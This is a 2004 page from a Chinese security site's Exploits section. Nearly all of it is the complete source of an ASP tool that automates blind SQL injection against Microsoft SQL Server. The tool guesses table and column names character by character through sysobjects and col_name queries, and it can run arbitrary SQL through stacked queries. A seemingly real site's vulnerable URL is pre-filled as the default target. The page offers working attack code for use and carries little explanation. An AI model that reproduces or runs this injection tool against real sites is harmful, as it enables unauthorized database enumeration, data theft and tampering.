首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
ASP版SQLSERVER注射数据表结构猜解机
来源:vfocus.net 作者:vfocus 发布时间:2004-06-22  

<%@ Language=VBscript %>
<%
Server.scriptTimeout=999999
on error resume next
Function GetURL(url)
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "GET", url, False, "", ""
.Send
GetURL = .ResponseText
End With
Set Retrieval = Nothing
End Function

other = request.form("other")
if session("other")<>"" then
session("other")=other
else
other="'Table1','Table2'"
session("other")=other
end if
%>
<HTML>
<HEAD>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<style type="text/css">
<!--
body,td,input {
font-size: 12px;
margin-left: 0px;
margin-top: 0px;
}
table,textarea {
border: 1px solid #003366;
}
body {
margin-right: 0px;
margin-bottom: 0px;
}
.style1 {color: #FFFFFF}
-->
</style>
<title>ASP版SQLSERVER注射数据表结构猜解机----自个研究吧</title></HEAD>
<BODY>

<table width="760" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td align="center" style="color:#ff0000"><span id="showinfo"></span></td>
</tr>
<tr>
<td height="26" align="center" bgcolor="#003366"><span class="style1">第一步:猜解表名的长度</span></td>
</tr>
<form method="post" action="" name="Form1">
<tr>
<td height="26" align="center" title="格式:'table1','table2' 猜解出一个表就在后面加上,以此类推"><textarea name="other" cols="105" rows="9" wrap="VIRTUAL"><%=session("other")%></textarea></td>
</tr>
<tr>
<td height="26" align="center"><input name="action" value="lentable" type="hidden">action
<input name="actionurl" value="http://gxgl.com/new_add/news_list.asp?id=100'" size="35">
位数:
<input name="len1" id="len1" value="1" size="3">
-
<input name="len2" id="len2" value="20" size="3">
正确关键字:
<input name="keyword" id="keyword" value="<hr" size="20">
<input type="submit" name="Submit" value="猜解表名长度"></td>
</tr>
</form>
<form method="post" action="" name="Form2">
<input name="action" value="cracktable" type="hidden">
<tr>
<td height="26" align="center" bgcolor="#003366"><span class="style1">第二步:猜解表名的名称</span></td>
</tr>
<tr>
<td height="26" align="center" valign="baseline">

action
<input name="actionurl" id="actionurl" value="http://gxgl.com/new_add/news_list.asp?id=100'" size="60">
正确关键字
<input name="keyword" id="keyword" value="<hr" size="20"><br>
<input name="other" type="hidden" value="<%=session("other")%>">
破解位数范围:
<input name="len1" value="<%=request.form("len1")%>" size="5">
-
<input name="len2" value="<%=request.form("len2")%>" size="5">
ASCII范围:
<input name="asc1" value="47" size="5">-
<input name="asc2" value="122" size="5">
<input type="submit" name="Submit" value="开始猜解数据表名称">
</td>
</tr></form>
<form method="post" action="" name="Form3">
<input name="action" value="lencols" type="hidden">
<tr>
<td height="26" align="center" bgcolor="#003366"><span class="style1">第三步:猜解表
<input name="tablename" value="<%=request.form("tablename")%>" size="20">
的第
<input name="coln" id="coln" value="<%=request.form("coln")%>" size="5">
个字段名长度 </span></td>
</tr>
<tr>
<td height="26" align="center">action
<input name="actionurl" value="http://gxgl.com/new_add/news_list.asp?id=100'" size="40">
LEN:
<input name="len1" value="1" size="3">
-
<input name="len2" value="20" size="3">
正确关键字:
<input name="keyword" id="keyword" value="<hr" size="15">
<input type="submit" name="Submit" value="猜解字段长度"></td>
</tr>
</form>

<form method="post" action="" name="Form4">
<input name="action" value="crackcols" type="hidden">
<tr>
<td height="26" align="center" bgcolor="#003366"><span class="style1">第四步:猜解表
<input name="tablename" value="<%=request.form("tablename")%>" size="20">
的第
<input name="coln" id="coln" value="<%=request.form("coln")%>" size="5">
个字段名名称</span></td>
</tr>
<tr>
<td height="26"> action
<input name="actionurl" value="http://gxgl.com/new_add/news_list.asp?id=100'" size="26">
LEN:
<input name="len1" value="1" size="3">
-
<input name="len2" value="20" size="3">
ASCII:
<input name="asc1" value="47" size="4">
-
<input name="asc2" value="122" size="4">
正确关键字
<input name="keyword" id="keyword" value="<hr" size="15">
<input type="submit" name="Submit" value="猜解字段名称"></td>
</tr> </form>
<form method="post" action="" name="Form5">
<input name="action" value="exesql" type="hidden">
<tr>
<td height="26" align="center" bgcolor="#003366"><span class="style1">
可以在下面输入要执行的SQL语句</span></td>
</tr>
<tr>
<td height="26"><span class="style1">
</span> 注入地址:<span class="style1">
<input name="actionurl" value="http://gxgl.com/new_add/news_list.asp?id=100'" size="65">
<input name="keyword" id="keyword" value="<hr" size="20">

<input type="submit" name="Submit" value="执行SQL语句">
</span></td>
</tr>
<tr>
<td height="26"><span class="style1">
</span> SQL语句:
<span class="style1">
<input name="sqlstr" size="110">
</span></td>
</tr>
</form>
</table>
</BODY>
</HTML>
<%

action=request.form("action")
select case action
case "cracktable"
asc1=clng(request.form("asc1"))
asc2=clng(request.form("asc2"))
len1=clng(request.form("len1"))
len2=clng(request.form("len2"))
actionurl=request.form("actionurl")
URL1 = actionurl & " and ascii(substring((select top 1 name from sysobjects where xtype='u' and status>0 and name not in("&trim(session("other"))&")),"
URL2=",1))="
URL3 = "--"
KEY1 = request.form("keyword")


for ii = len1 to len2
for i=asc1 to asc2
TakenHTML = GetURL(URL1&ii&URL2&i&URL3)
if InStr(TakenHTML,KEY1) > 1 then
Response.Write "<script>showinfo.innerHTML+='"& Chr(i) &"';</script>"
Response.Flush
exit for
end if
next
next
Response.Write "<script>showinfo.innerHTML+='破解完成';</script>"
Response.Flush

case "lentable"
len1=clng(request.form("len1"))
len2=clng(request.form("len2"))
KEY1 = request.form("keyword")
actionurl=request.form("actionurl")
URL1 = actionurl & " and len((select top 1 name from sysobjects where xtype='u' and status>0 and name not in("&trim(session("other"))&")))="
URL2 = "--"

for i=len1 to len2
TakenHTML = GetURL(URL1&i&URL2)
Response.Write "<script>showinfo.innerHTML=" & i & ";</script>"
Response.Flush
if InStr(TakenHTML,KEY1) > 1 then
Response.Write "<script>showinfo.innerHTML='表名长度为" & i & "个字符';</script>"
Response.Flush
exit for
end if
next

case "lencols"
tablename = request.form("tablename")
coln = clng(request.form("coln"))
len1=clng(request.form("len1"))
len2=clng(request.form("len2"))
KEY1 = request.form("keyword")
actionurl=request.form("actionurl")
URL1 = actionurl & " and len((select top 1 col_name(object_id('"
URL2 = "'),"
URL3 = ")))="
URL4 = "--"

for i=len1 to len2
TakenHTML = GetURL(URL1&tablename&URL2&coln&URL3&i&URL4)
Response.Write "<script>showinfo.innerHTML=" & i & ";</script>"
Response.Flush
if InStr(TakenHTML,KEY1) > 0 then
Response.Write "<script>showinfo.innerHTML='字段名长度为" & i & "个字符';</script>"
Response.Flush
exit for
end if
next

case "crackcols"
tablename = request.form("tablename")
coln = clng(request.form("coln"))
len1=clng(request.form("len1"))
len2=clng(request.form("len2"))
asc1=clng(request.form("asc1"))
asc2=clng(request.form("asc2"))
KEY1 = request.form("keyword")
actionurl=request.form("actionurl")
URL1 = actionurl & " and ascii(substring((select top 1 col_name(object_id('"
URL2 = "'),"
URL3 = ")),"
URL4 = ",1))="
URL5 = "--"

for ii = len1 to len2
for i=asc1 to asc2
TakenHTML = GetURL(URL1&tablename&URL2&coln&URL3&ii&URL4&i&URL5)

if InStr(TakenHTML,KEY1) > 0 then
Response.Write "<script>showinfo.innerHTML+='" & Chr(i) & "';</script>"
Response.Flush
exit for
end if
next
next
Response.Write "<script>showinfo.innerHTML+='破解完成';</script>"
Response.Flush

case "exesql"
sqlstr = request.form("sqlstr")
actionurl=request.form("actionurl")
KEY1 = request.form("keyword")
if instr(LCase(sqlstr),"select")>0 then
URL1 = actionurl & " and exists("&sqlstr&")--"
else
URL1 = actionurl & ";"&sqlstr&";--"
end if


TakenHTML = GetURL(URL1)
if InStr(TakenHTML,KEY1) > 0 then
Response.Write "<script>showinfo.innerHTML='语句执行成功';</script>"
Response.Flush
else
Response.Write "<script>showinfo.innerHTML='语句执行失败';</script>"
Response.Flush
end if

end select
%>



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·TCP Window Size RST
·serv-u本地权限提升工具
·Exploit stmkfont of HPUX to ge
·c/s型asp木马
·Linux Kernel 2.4.x-2.6.x Local
·Ircd-Hybrid-7/Ircd-Ratbox Low-
·Exploit xfs command of HPUX to
·Remote D.O.S WinAgents TFTP Se
·Toca Race Driver 1 multiple Do
·PoC poisoning cache attack SEF
·Squid STABLE NTLM authenticate
·Rlpr <=2.04 msg() Remote fo
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved